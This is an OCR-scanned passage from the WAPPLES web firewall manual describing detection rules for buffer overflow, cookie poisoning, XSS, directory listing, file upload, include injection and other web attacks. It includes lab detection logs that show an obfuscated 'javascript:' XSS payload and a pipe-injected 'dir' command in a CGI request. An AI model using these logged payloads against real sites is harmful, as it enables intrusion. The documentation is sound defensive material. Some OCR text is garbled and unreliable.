Fig. VI-2. Buffer Overflow Attack Test Using Perl

The attack detected by WAPPLES filled the Key Value part of the HTTP Request
with meaningless NOP (“-“ in the case above) to attack. This type of attack is not
intended for executing a specific command; instead, similar to the example with
Perl above, it is designed to cause unexpected results. If no error occurs after this
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type of attack is made even though it did not wield any effect, then the attacker
can expect the web server to be vulnerable to Buffer Overflow.

You need to check the latest bug reports on the web server and web application
continuously and apply the latest patch.

Use the language that supports the automated bounds check function such as Perl,
Python, and Java when developing applications. For standard C library, the use of
get(), strcpy(), and strcmp() as well as library functions that do not check the
bounds of the parameter is not recommended. You must determine what exists in
the system where the application will be running and who has authority to
execute. If SUID is set to root, the world-writable files and directories owned by
root can be the target of attack. Change them.

WAPPLES supports three detection modes as in the table below to cope with the
Buffer Overflow attack.

Table 20. Buffer Overflow Detection Modes

Mode Description

Does not permit any request that exceeds 64 bites of
[Key Length], 352 bites of [URI Length], and 512 bites
of [Header Length]

You can set the maximum number of characters that can
be included in the requested URI for [URI Length]; the
maximum value is 2047. Default value is 352

You can set the maximum number of characters that can
[Custom Setting]  be included in the requested HTTP Request for [Key
Length]; the maximum value is 128. Default value is 64
You can set the maximum length of the requested HTTP
header for [Header Length]; the maximum value is 4096.
Default value is 512

[Do not detect] The corresponding rule will not be detected.

[Detect buffer
attack]

The Setting Wizard will display the following error messages in case the user
enters inappropriate values when the Buffer Overflow detection mode is set to
[Custom Setting]:

Table 21. Buffer Overflow m ing Error M

Error Message Cause

The length of URI is less than O or greater
than 2047.

The length of the value is less than O or
greater than 128.

There is error in Input value.
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The length of the header is less than O or
greater than 4096.

Property value is not valid. A non-numerical value has been entered.

When a Buffer Overflow attack is detected in this mode, select one of four ways
in the following table to cope with the attack:

Table 22. nterm r ttin

Mode Description

Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately

Page Redirection Moves to the designated page

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error Code

Detection Only

If you select [Error Code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVIII Error Handling Status Code].

03 Exceptions
If the detection of Buffer Overflow is not appropriate for the web page, the
administrator can exclude the corresponding web page from Buffer Overflow

detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7 Change Detection Exception Setting].
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2.2 Cookie Poisoning

01 Overview

Cookies are used to store the continuous information required for communication
with the server. Cookies are sent and saved from the web server to the web
browser and re-sent to the server in case of an additional request.

For example, when a user accesses a website, cookies are used to record which
information was viewed by the user within the site, etc., and read the record when
the user accesses the website again so that he/she can perform search in the
condition as it was when he/she accessed the website last time.

Many web applications save important information (user ID, time stamp, etc.) in
cookies. The cookies’ value is included in the HTTP header. The contents of the
cookies may not always be safe, and the attacker can obtain and modify the
cookies to deceive the web application. By modifying cookies, the attacker can
obtain access to a certain account or steal a user’s cookies to obtain the user
account without ID or password or any type of verification.

This is not used popularly today since applications no longer use cookies to
provide important information. Nonetheless, many applications do use cookies
because they have the advantage of overcoming HTTP’s limitation of not
maintaining user information. There are still malicious attacks using cookies.

02 Example of Attack

The attacker accesses a site and modifies the cookie saved to the attacker’s
console using a simple text tool and accesses the site again. If the application
does not verify the values in the cookie that was previously sent from the server
when the user accesses the site, the modified cookie can be applied as it is. The
following shows that the value “c” is modified:
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Character Set : fi\}ilindows-1252izwéis'tern Europe + |

|Field Value |

Palicy Derma Palicy [l Ratas3tean

Rule Cookie Paisoning Raw Data | Decoded Data |

Source Address  192.168.3.157 GET jcookie.exePccc=75390584073578371534517 HTTR/1.1
Source Country  Unknawn Cookie: c=; d=2; count=0;

destination ad... 192.168.3.153:80 Sphere_c=Btsk jQD64r +CS6W +m6Q-

Time 9/15/2010 1:02:06 AM fIxvPe8$;

wehsite 192.168.3.153 Sphere_d=kWakhGppXFAP7nEY 1Bh7eXu8a
Requested URT  jcookie.exe IM$; Sphere_count=

Countermeasure Page redirection 4b8cxhIV8atf78kq4uEN1 jMkueg$; c=aaa
risk 0 (Low) Host: 192.168.3.153

Connection: Close
User-Agent: Sphere Acceptance Tester v2.1

| - Reason of detection
'’ cookie is changed without permission.

Fig. VI-3. Details of the Cookie Poisoning Attack Detection Log

03 Countermeasure

Refrain from inserting sensitive data related to verification into the cookie or
encrypt the cookie.

MAC (Message Authenticity Code) for verification can be included in the cookie.

WAPPLES supports two detection modes as in the table below to cope with the
Cookie Poisoning attack.

Table 23. Cookie Poisoning Detection Modes

Mode Description

[Check Verifies whether the cookie is modified including MAC
falsification of (Message Authenticity Code) for cookie verification
cookie value]

[Do not detect] The corresponding rule will not be detected.

Caution is required since this detection rule can identify the cookie modified
with JavaScript within the web page as suspicious cookie even in normal
condition.
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When a Cookie Poisoning Attack is detected in said detection mode, select one of
four ways in the following table to cope with the attack:

Table 24. Countermeasure Setting

Mode Description

Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately

Page Redirection Goes to the designated error-handling page
The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error Code

Detection Only

If you select [Error Code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVII1.4 Error Handling Status Code].

04 Exceptions
If the detection of Cookie Poisoning is not appropriate for the web page, the
administrator can exclude the corresponding web page from Cookie Poisoning

detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7].

2. Details of the WAPPLES Rules 115



2.3 Cross Site Scripting

01 Overview

When the user input is made up of codes written in the language executed on the
client’s side such as JavaScript, VVBScript, Flash, ActiveX, XML/XSL, and
DHTML, it will be executed on the client-side browser as it is. The Cross Site
Scripting (XSS) attack sends malicious script code to the user through the web
page, web board, or email using this characteristic.

When a user accesses a vulnerable web server, the attacker can upload a
malicious script and send an email or a web page to trick the user into clicking
the link with malicious script. When the web user clicks the corresponding link,
the user’s information such as cookie will be sent to the attacker; the attacker can
then access the web server with the victim’s authorization using the collected
information.

The attacker can also include malicious HTML tags or scripts in the dynamically
generated web page designed by the attacker. Data accepted in this manner will
be transmitted when another client goes to that page, and the client will recognize
them as normal data and interpret them. In other words, it will be able to execute
the script on another user’s browser through the web application. Consequently,
the command may be executed by skipping the DOM (Document Object Model)
security restrictions. This type of tag or script can make the web application run
unintended scripts when the web server fails to filter the input or output
appropriately. Most web browsers can interpret and execute the script inserted
into the web page. These scripts are mostly written in JavaScript or VBScript.

The expected damage is the acquisition of another user’s information and the
illegal use of the account using the information and execution of programs such
as Trojan Horse. As mentioned above, this type of attack is made mostly in places
with the tool for the user to enter data in the web server.
Basically, the following attacks can be made in relation to XSS:

® Changing the shape of the page
Exposure of SSL encryption connection
Continuous attack through cookie modification
Access to restricted website
Violation of DOM-based security policy

The problem spreads when an uncommon character set is used.

Changing the behavior method of the form
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® Cookie Stealing

02 Example of Attack

This is an example wherein the attack is detected by the tag or script command
preconfigured in WAPPLES. The attacker uses the prohibited script as follows in
places where the user can enter data in the web server such as the web board:

22 WAPPLES - board - Microsoft Internet Explorer

File Edit View Favorites

Tools  Help

@Back - ‘\) ‘:'] Lé] _h f_j Search '}T"/I-;L(Favorites {‘} Li:' :;. % 3

Address i@ http:}/192.168.3.153/englishjboardfzboard.php

viGo

™
[

Links **

s

O NAME :
WAPPLES

O NICKNAME :
WAPPLES

How are you?

it's WAPPLES'
Blog!!

Have a nice day :)

0 Category

*Board 1
*Board 2
*Free Board

HEW ARTICLE
PASSLWORD

HAME

E-MRIL

HOMEPAGE

OPTION

SUBJECT

HOME | PROFILE | BOARD :: login

2000
sadf

cracker@xx.com

[ wrrae O repvy mare [ secrer

X3S test

http:/#192. 168, 3. 153/karean/wapples_alert.php?
msg=Cookie_Poisoning

[

-

€

 Internet

Fig. VI-4. Cross Site Scripting Attack Test

WAPPLES detects prohibited script in HTTP Request as follows:
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Character Set @ | Windows-1252 <Western Europe v,,‘

Field Value
Palicy 3. Standard Security Level [Data Stream
Rule Cross Site Scripting Raw Data | Decoded Data|

Source Address  192.168.3.156 GET fbbs.php?message= """ < img%20src%63D%

Source Country  Unknawn 269023x6a;%026%023x6 1;%026%023X76,;%0
destination ad... |192.168.3.153:80 260023x61;00260023x73;2026%023x63;%0
Jime 9/15/2010 3:29:34 AM 260023x72;9026%023x69;0026%023x70;%0
WebsSite Unregistered website 269023x74;%026%023x3a;alert(0o

Requested URL _ /bbs.php 26quot;Watchfire26269623x20;X55%26%%
Countermeasure Error code 23x20; Test0026%023x20;Successful %o

risk 0:(Low) 26quot;)= HTTP/1.0

Host: 192.168.3.153
Connection: Close
User-Agent: Sphere Acceptance Tester v3.0

Reason of detection

Yjavascript:' stiring is not allowed in Security policy.

Fig. VI-5. Cross Site Scripting Attack Test

03 Countermeasure

All values provided through the web page such as user 1D, password, and search
word must be filtered. One of the effective ways of preventing this attack is to
change the special characters included in the data provided by the client into
standard HTML expression characters.

WAPPLES supports three detection modes as in the table below to cope with the
Cross Site Scripting attack.

Table 25. Cross Site Scripting Detection Modes

Mode Description

[Do not permit Does not permit scripts that can trigger a Cross Site

script] Scripting attack

[Custom setting] The administrator decides the HTML tag and script
pattern to be prohibited as well as whether tags will be
converted automatically.

[Do not detect] The corresponding rule will not be detected.
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When a Cross Site Scripting Attack is detected in this mode, select one of four
ways in the following table to cope with the attack:

Table 26. Countermeasure Setting

Mode Description

Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection Goes to the designated error-handling page
The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error code

Detection Only

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVIII Error Handling Status Code].

The [Convert tag automatically] function of [Custom setting] converts the
custom-set HTML tag and script pattern into non-executable tags and script
patterns; to enable this function, the response setting must be set to [No Block].

04 Exceptions
If the detection of Cross Site Scripting is not appropriate for the web page, the
administrator can exclude the corresponding web page from Cross Site Scripting

detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7].
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2.4 Directory Listing

01 Overview

When the URL sent by the user through the web browser does not include the file
specified in the web server’s Directory Index, the web server can show the
directory or file of the corresponding server. In this case, the server may expose
the directory structure of the web server and the location of important files, which
must be hidden to the malicious user. This can provide sufficient data to launch
an attack instead of causing direct damage.

02 Example of Attack

The attacker can have the web contents request for the directory using the URL
through the browser to display the directory list.

- ~
Index of /
Name Last modified Size Description
ﬁ Swtree.tar.gz 26-Dec-2003 13:34 7.0M
3 BufferOverFlow.html 03-Jan-2006 17:00 31
URlAccessControl . html 15-Sep-2005 20:34 153
[:3 WEB-INF/ 07-Feb-2006 15:27 2
WS_FTP.LOG 21-Dec-2005 11:42 1.3K
3 WebsiteDefacement-DetectCase.html 15-Sep-2005 19:55 94
% WebsiteDefacement-NotDetactCase.html 06-Oct-2005 15:31 158
3 aa.html 10-Feb-2006 17:50 382
[.D..) admin/ 07-Feb-2006 15:27 =
admin_menu.jsp 06-Feb-2004 00:00 5.3K
3 asp_error_asp.html 09-Aug-2005 11:27 335
3 aspx_error_aspx.html 0S-Aug-2005 11:27 3.4K
certreqg.txt 25-Jan-2006 10:14 1.2K
@ exanpless 07-Feb-2006 13:37 -
3 excel_export.jsp 27-Jan-2004 00:00 3.8K
hosts??ERA S A0 E?Ink 19-Jan-2006 11:40 763
B e 11-Feh-2NN4 13:31 - b
€ PXEE

Fig. VI-6. Directory Listing Attack Test

WAPPLES confirms that the Directory Listing is the result of the user’s page
request and detects the attack as follows:
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Character Set : ;Windows-1252 <Western Europe. ﬁ

Field Value \
Policy 3. Standard Security Level ‘VData 5"93,"‘
Rule Directory Listing Raw Data IDECUdEd Data | |
Source Address  192.168.3.156 HTTP/1.1 200 OK -~
Source Country  Unknown Date: Tue, 14 Sep 2010 18:33:21 GMT
o 5 Server: Apache
destination ad... 192.168.3.153:80 Content-Length: 1588
Time 9/15/2010 3:29:26 AM Connection: close
WebSite Unregistered website Content-Type: text/html;charset=UTF-8
Reguested URI  /koreanfC04_Direcotry_Listing/ <IDOCTYPE HTML PUBLIC "-//W3C/{DTD HTML 3.2
Countermeasure Error code Final{/EN">
isk 0o <html>
L (Low) <head>
«title>Index of fkoreanfC04_Direcotry_Listing</title>
<fhead>
<body >
<hl>Index of /koreanfC04_Direcotry_Listing=</hls>
<tables> <tr> <ths <img src="ficonsfblank.gif" alt="[ICO]"=
<fth= <th><a href="?C=N;0=D">Name<fa> <fth><th><a
href="?C=M;0=4">Last modified</az < th> <th> <a href="?
C=5,0=A">Size<fa> <fth> <th><a href="2C=D;0=A">
Description<faz < fth> <ftr> <tr> <th colspan="5"> <hr>
<fths <ftr>
<tr><td valign="top"> <img src="ficons/back.gif" 7

Reason of detection

Attack trying to leak directory information of Web Server is
detected.

Fig. VI-7. Details of the Directory Listing Attack Detection Log

03 Countermeasure

Define the settings in the server to prevent the listing of all directories so that the
server will not display the Directory Index.

WAPPLES supports two detection modes as in the following table to cope with
the Directory Listing attack:

Table 27. Dir ry Listing D ion M

Mode Description
[Prevent Directory Detects whether the website’s directory is
Leakage] exposed as it is
[Do not detect] The corresponding rule will not be detected.

When a Directory Listing Attack is detected in said detection mode, select one of
four ways in the table below to cope with the attack.

Table 28. Countermeasure Setting
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Mode

Description

Disconnect

Cuts the HTTP connection

Error code

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection

Goes to the designated error-handling page

Detection only

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVII1.4 Error Handling Status Code].

04 Exceptions

The administrator can exclude the corresponding web page from the detection of
Directory Listing if Directory Listing detection is not appropriate for the
corresponding web page. For details on excluding websites from detection, refer

to [X1.7]
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2.5 Error Handling

01 Overview

A variety of errors such as out of memory, null pointer exception, system call
failure, database connection error, and network timeout occur when using web
applications. If these errors are not handled appropriately, various security issues
may arise such as providing hints on the potential weak points of the
corresponding site to malicious users.

Expected damages include the disclosure of information related to the web server
and web application DB and information such as the version and type of the
connected web server and application through the error messages of the web
server or DB.

02 Example of Attack
This type of attack intentionally sends bad requests to induce error in the web
server or web application. Specifically, it induces error through repeated strings,

comment, and insertion of another ID and causes the error screen below to be
displayed.

The type of web server connected to the current web server can be identified
through said messages, and various attacks such as SQL Injection can ensue.

2. Details of the WAPPLES Rules 123



A HTTP 400 - Bad Request - Microsoft Internet Explorer.

File Edit View Favorites Tools Help 3.','
A Q) [ @ o S . B ™

Q- © BB G| P fro @3- BB B

Address | &) http://192.168.3.153/englshjCOS_Error_Handingfmssal_error_db.html vBeo ks »

@ The page cannot be found

The page you are looking for might have been removed, had its
name changed, or is temporarily unavailable.

Please try the following:

e If you typed the page address in the Address bar, make
sure that it is spelled correctly.

e Openthe 192.1658.3.153 home page, and then look for links

to the information you want.

Click the < Back button to try another link.

e Click @ Search to look for information on the Internet.

HTTP 400 - Bad Request
Internet Explorer

& Done

4 Internet

Fig. VI-8. Error-Handling Attack Test

WAPPLES detects this type of error message in advance.
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Field

Policy

Rule

Source Address
Source Country
destination ad...
Time

WebSite
Requested URI

Walue

Custom Policy

Error Handling
192,168.3.157
Unknown
192.168.3.153:80
9/15/2010 3:41:18 AM
192,168.3.153

fenglish/C0S_Error_Handling...

Character Set : | Windows-1252 <Westem Europe v |

Data Stream
Raw Data | Decoded Data |

HTTPf1.1 200 OK

Date: Tue, 14 Sep 2010 18:45:13 GMT
Server: Apache

X-Powered-By: PHP/S.2.10
Content-Length: 359

Keep-Alive: timeout=5, max=100
Connection: Keep-alive

Content-Type: text/html

Countermeasure  Error code
ik 0 (L <htrml>

i (Low) <font face="arial" size=2>

<p=Microsoft OLE DB Provider for ODBC Drivers< ffont> <font
face="arial" size=2>error '80004005'< ffont>

<p>
<font face="arial" size=2>Specified driver could not be loaded
due to system error 126 (SQL Server). </ffont>

<p>

«font face="arial" size=22 fitisfindex.asp< ffont> <font
face="arial" size=23>, line 234</font>

<fhtmlz

Reason of detection
Attack is detected.

Fig. VI-9. Details of the Error-Handling Attack Detection Log

03 Countermeasure

The web application developer must make the application capable of coping with
all types of possible errors, review possible errors that can occur under all
circumstances, and document how to handle each error. In fact, when an error
actually occurs, design the application such that it displays the minimum
information on the system and detects malicious attacks according to the degree
and frequency of errors, if necessary. Design the application such that it refuses
service when it is impaired due to errors.

WAPPLES supports four detection modes as follows to cope with the Error-
Handling Attack:

Table 29. Error-Handling D ion M

Mode Description

[Block as 2" level]  Detects the disclosure of important information due to
the occurrence of error in the server and web
application

Detects the disclosure of important information due to
the occurrence of error in the server and web

application excluding 500 Internal Server Error

[Block as 1% level]

2. Details of the WAPPLES Rules 125



[Custom setting] Enter the [HTTP Status Code] in [status code]. For
[status code], refer to [Table 145. HTTP Status Code
and Meaning].

[Do not detect] The corresponding rule will not be detected.

The Setting Wizard will display the following error messages in case the user
enters inappropriate values when the Error-Handling detection mode is set to
[Custom Setting]:

Tabl . Error-Handlin tom Setting Error M

Error Message Cause

{Corresponding Status Code} The status code does not fall into the ranges
is out of status code range of 100 ~ 101, 200 ~ 206, 300 ~ 307, 400 ~
417, or 500 ~ 505.

When an Error-Handling Attack is detected in said detection mode, select one of
four ways in the following table to cope with the attack:

Table 31. Countermeasure Setting

Mode Description

Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately
Page redirection Goes to the designated error-handling page

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error code

Detection only

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XV1I1.4 Error Handling Status Code].

04 Exceptions
If the detection of Error Handling is not appropriate for the web page, the
administrator can exclude the corresponding web page from Error-Handling

detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7]
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2.6 Extension Filtering

01 Overview

If access permission for the internal files of the web server is loosely set, it can be
the target of malicious attacks. To prevent this, the extensions of the URL entered
by the user through the web browser should be inspected to block accesses other
than the permitted extensions.

If files and directories intended for external exposure are accessible even to
anonymous users in most accessible web servers, access to files that are
important to the system (system files, library, password file, etc.) can be used in a
malicious attack.

02 Example of Attack

The log below shows the detection of access attempt for / vti_bin/owssvr.dil.
This was used for scanning by worm viruses such as Nimda and Trojan Horse.
Currently, the request generated when the user clicks [Forum] on most Internet
browsers does not cause damage.

Character Set : ‘ Windows-1252 <Western Europe v

Field Walue

Policy

Rule

Source Address
Source Country
destination ad...
Time

WebSite
Requested URI
Countermeasure
risk

3. Standard Security Level
Extension Filtering
192.168.3.156

Unknown
192,168.3.153:80
9/15/2010 3:29:33 &AM
Unregistered website
fcgi-binftest-cgi.bat
Detection only

0 (Low)

Rty

Raw Data | Decoded Data|
GET /cgi-bin/test-cgi.bat?|dir+c:+>. \htdocs ‘
\dir bt HTTP/1.1

Host: 192.168.3.153

Connection: Close

User-Agent: Sphere Acceptance Tester v3.0

Reason of detection
Trying to access to Dangerous URI{extension) is detected.

Fig. VI-10. Details of the Extension Filtering Attack Detection Log
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03 Countermeasure
Access permission to all files and directories should be changed except the files
and directories created for external exposure to prevent access by unauthorized
users.

Block all accesses other than the permitted extensions by parsing the web
contents extension of the URL entered by the user through the web browser.

WAPPLES supports three detection modes as in the following table to cope with
the Extension Filtering attack:

Table 32. Extension Filtering Detection Modes

Mode Description
[Only secure Access by the following extensions is permitted:
extension is allowed html, htm, shtml, cgi, pl, py, php, php4, php3, phtml,
to access] asp, aspx, jsp, css, inc, js, txt, jar, java, class, cab, vcs,

vbs, exe, xml, xpi, xhtml, xss, rdf, bmp, gif, jpg, jpeg,
png, swf, ico, avi, mov, asf, wmv, wma, mp3, mp2,
wav, gz, tar, tgz, bz2, zip, arc, ace, arj, Izh, alz, rar,
doc, ppt, rtf, xIs, hwp, ps, pdf.

[Custom setting] The user defines specific extensions.

[Do not detect] The corresponding rule will not be detected.

@ When configuring the Extension Filtering detection rule, the fact that the
configuration must match the conditions of the web server must be
considered since each server uses different file types; hence the need to
configure the rule differently for each server considering the type of web
server OS (Windows, Linux, Unix), HTTP server type (Apache, 1IS),
Active Page language (PHP, Perl, ASP, JSP), etc

When an Extension Filtering Attack is detected in this mode, select one of four
ways in the following table to cope with the attack:

Table 33. Countermeasure Setting
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Mode

Description

Disconnect Cuts the HTTP connection
Responds to the HTTP status code;
Error code generally, an error code is sent when the

request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection

Goes to the designated error-handling page

Detection only

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVII1.4 Error Handling Status Code].

04 Exceptions

If the detection of Extension Filtering is not appropriate for the web page, the
administrator can exclude the corresponding web page from Extension Filtering
detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7]
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2.7 File Upload

01 Overview

If the web server fails to prevent effectively the attacker from uploading the tools
used for the attack, the attacker can upload the attacking tools written in PHP,
ASP, or JSP to the server to gain control of the web server.

The attacker can upload files with extension of php, asp, css, etc., to homepage
boards, find out where the file is uploaded, and execute the file to launch an
attack. When the web server does not filter uploaded files, or it is operated by
root (Admin) account, it can be the target of this type of attack. If successful, this
can be the most dangerous attack. The attacker can gain total control of the server.
Moreover, this type of attack is not technically difficult; thus, the attack can be
launched very easily.

The most commonly attempted attack involves uploading the preprogrammed
backdoor file to the web server. This type of attack is made in any open board
with a file uploading function. Attackers gaining control of a web server through
this type of attack tend to use it as the intermediate point for attacking another
server. In most cases, the uploaded backdoor file is hidden under a different name
that may not be recognized by the administrator, so much so that the server is
actually being seized for a long time. (Some attackers plant an additional
backdoor program in the form of a known process.)

02 Example of Attack

The attacker uploads “crack tool.php” from the web board.

Subri=ck [Fila upload atck les] | -

Mmgiinnm Fille sie ; 200 MB

rile gL Cwreracktnolphp | [ETEE 4

Fig. VI-11. File Upload Attack Test
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When the attacker finds out where the file is uploaded, then he/she can launch the
type of attack that he/she wants as follows:

03 Countermeasure
Have your web server or web application filter uploaded files. In particular,
prohibit files with executable extensions. If the web server in the UNIX system is
operated by root permission, this must be changed.

WAPPLES supports four detection modes as in the table below to cope with the
File Upload attack.

Table 34. File Upload Detection Modes

Mode Description

[Permit secure file Allows the upload of only picture files generally known

only] to be safe, such as (jpg, bmp, gif, png, jpeg),
compressed file (zip, tar, gz, bz2, rar, alz, ace), and text
file (txt)

[Prohibit file Allows the upload of only files other than executable

upload] files (cgi, php, exe, asp, jsp, dll, pl)

[Custom setting] The user specifies the file extensions.

Default setting is allowing only safe files (jpg, bmp,
gif, png, jpeg, zip, tar, gz, bz2, rar, alz, ace, txt)
[Do not detect] The corresponding rule will not be detected.

For the File Upload detection rule, always detect the upload of dangerous files
with “Prohibit file upload™ setting at normal security level. Likewise, depending
on the characteristic of the web board, it is safe to limit the types of files for
upload to a small number with “Permit Safe Files Only” setting at high security
level. In addition, block access by backdoor files before installing WAPPLES by
applying the URI Access Control rule as well.

The Setting Wizard will display the following error messages in case the user

enters inappropriate values when the File Upload detection mode is set to
[Custom Setting]:

Table 35. File Upload Custom Setting Error Message

Error Message Cause

File size cannot be a negative The size of the extension of the file is a

number. negative value.
Maximum file-size is 100MB. The size of the extension of the file is more
than 100 MB.
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Property value is not valid. The form of extension of the file is not a
numerical value.

When a File Upload Attack is detected in said detection mode, select one of four
ways in the following table to cope with the attack:

Tabl . nterm r ttin
Mode Description
Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately
Page redirection Goes to the designated error-handling page

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error code

Detection only

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVII1.4 Error Handling Status Code].

04 Exceptions
If the detection of File Upload is not appropriate for the web page, the
administrator can exclude the corresponding web page from File Upload

detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7]

2. Details of the WAPPLES Rules 132



2.8 Include Injection
01 Overview
In the web page with the weak point of including a file by using the filename as a

variable, the attacker manipulates the variable to have the web page include a
malicious file.

02 Example of Attack
The user with malicious intention creates a malicious file in the web directory of

his/her own server and manipulates the filename variable of the web page
vulnerable to Include Injection to have it include a malicious file.

03 Countermeasure
Modify the web application such that it does not use “http,” “ftp,” and string
indicating the file path such as “.” and “/” in the filename variable that can
include a file and prohibit the use of the string indicating the file extension.

WAPPLES supports two detection modes as in the following table to cope with
the Include Injection attack:

Table 37. Incl Injection D ion M

Mode Description

[Detect file include] Detects the inclusion of a malicious file
[Custom setting] Set whether or not permit include of typed host list.
[Do not detect] The corresponding rule will not be detected.

When an Include Injection Attack is detected in this mode, select one of four
ways in the following table to cope with the attack:

Table 38. Countermeasure Setting

Mode Description

Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the

Error code . L
request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection Goes to the designated error-handling page
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The website will be recorded in the

Detection only Fietection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVI11.4 Error Handling Status Code

04 Exceptions

If the detection of Include Injection is not appropriate for the web page, the
administrator can exclude the corresponding web page from Include Injection
detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7]
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2.9 Input Content Filtering

01 Overview

The string entered by the user may likely include contents that offend others. The
attacker can register such strings to offend website users.

Input Content Filtering can be applied to all web servers, web application servers,
and web application environments. This is useful for sites that run web boards.

02 Example of Attack

The following is an example wherein WAPPLES detects user contents containing
“bad word” that the operator chose to detect in the web application:

[Fieid Value
Policy Customn Paolicy
Rule Input Content Filtering

Source Address  192.168.3.157

Source Country  Unknown

destination ad... 192.168.3.153:80
Time 9/15/2010 3:47:22 AM
WebSite 192,168.3.153
Requested URI  /bbsfwrite_ok.php
Countermeasure forgery

risk 0 (Low)

Character Set : ‘ Windows-1252 <Western Europe v \

Data Stream
Raw Data | Decoded Data

----------------------------- 7da2chd170038
Content-Disposition: form-data; name="homepage"

----------------------------- 7da2chd170038
Content-Disposition: form-data; name="subject"

input content filtering
----------------------------- 7da2cbd170038
Content-Disposition: form-data; name="memo"

fuck

7da2cbd170038
Content-Disposition: form-data; |
name="sitelink1"

7da2cbd170038

| Imantent-Nienneition: farm-data:

Reason of detection

‘fuck’ string is replaced.

Fig. VI-12. Details of the Input Content Filtering Detection Log

03 Countermeasure

The web server or web application can be configured to filter user input.

This does not damage the web server or the web application connected to the web
server. Nonetheless, detecting/blocking parts that can offend a number of users
using the website operated by the web server is recommended.
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WAPPLES supports two detection modes as in the table below to cope with the
Input Content Filtering attack.

Table 39. Input Content Filtering Detection Modes

Mode Description
[Custom setting] Define the string to be detected or changed.
[Do not detect] The corresponding rule will not be detected.

The Setting Wizard will display the following error messages in case the user
enters inappropriate values when the Input Content Filtering detection mode is set
to [Custom Setting]:

Table 40. Input Content Filtering Custom Setting Error Message

Error Message Cause

Delete item does not have The string to be changed is empty.

changed string.

More than 20 cannot be set There are more than 20 sets of a string to be
changed and a changed string.

Displays a message for The same string to be changed exists in

selecting a string set another set.

When a string specified by the administrator is detected in said detection mode,
select one of four ways in the following table to cope with the attack:

Table 41. nterm r in
Mode Description
Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the

Error code . L
request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection Goes to the designated error-handling page
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The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites. For Input
Content Filtering, the detection item will
be displayed according to the display type
Detection only specified in the custom setting.

Ex.) Pattern; Coarse Language

Replace Value: Proper Language

Actual Input: “Coarse language is
improper behavior.”

Actual Output: “Proper language is
improper behavior.”

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XV1I1.4 Error Handling Status Code].

For Input Content Filtering, set the countermeasure to [Do Not Block] if you
wish to define the string to be detected as a variable string. The actual
message will not be changed if the string before changing and that after
changing are the same.

04 Exceptions

If the detection of Input Content Filtering is not appropriate for the web page, the
administrator can exclude the corresponding web page from Input Content
Filtering detection depending on the website environment. For details on
excluding websites from detection, refer to [XI1.7]
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2.10 Invalid HTTP

01 Overview

Any request or response that does not comply with HTTP or request for non-
existing website is abnormal traffic and is usually generated by worm and various
attack tools. This type of traffic is not generated by a normal web browser and
can be considered an abnormal symptom.

02 Example of Attack

The following example is detected as Invalid HTTP attack since it did not have
sufficient header information requested by HTTP:

Character Set @ i'Wind.bws—1252 <Western Europe v |

Field Value
Policy 3. Standard Security Level Data 5”‘?3.”‘
Rule Invalid HTTP Raw Data | Decoded Data |
Source Address  192.168.3.156 GET @@@00@ HTTP/1.1
Source Country  Unknawn EUmECEUni E:USE
o onnection: Close
destination ad... 192.168.3.153:80 User-Agent: Sphere Acceptance Tester v3.0
Time 9/15/2010 3:29:27 AM
WebSite Unregistered website

Requested URI
Countermeasure  Disconnection
risk 0 (Low)

Reason of detection

wWebsite is not spelled out.

Fig. VI-13. Details of the Invalid HTTP Attack Detection Log

03 Countermeasure

You can identify the program that caused the corresponding traffic and take the
necessary measures. If attacking tools such as worm are suspected, you can
perform filtering within the web server or web application. WAPPLES regards
the request or the response that does not comply with HTTP or the request for
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non-existing website as abnormal traffic.

WAPPLES supports two detection modes as in the table below to cope with
traffic that does not comply with HTTP.

Table 42, Invalid HTTP Detection Modes

Mode Description

[Block dangerous Detects requests that comply with HTTP but are

HTTP] dangerous

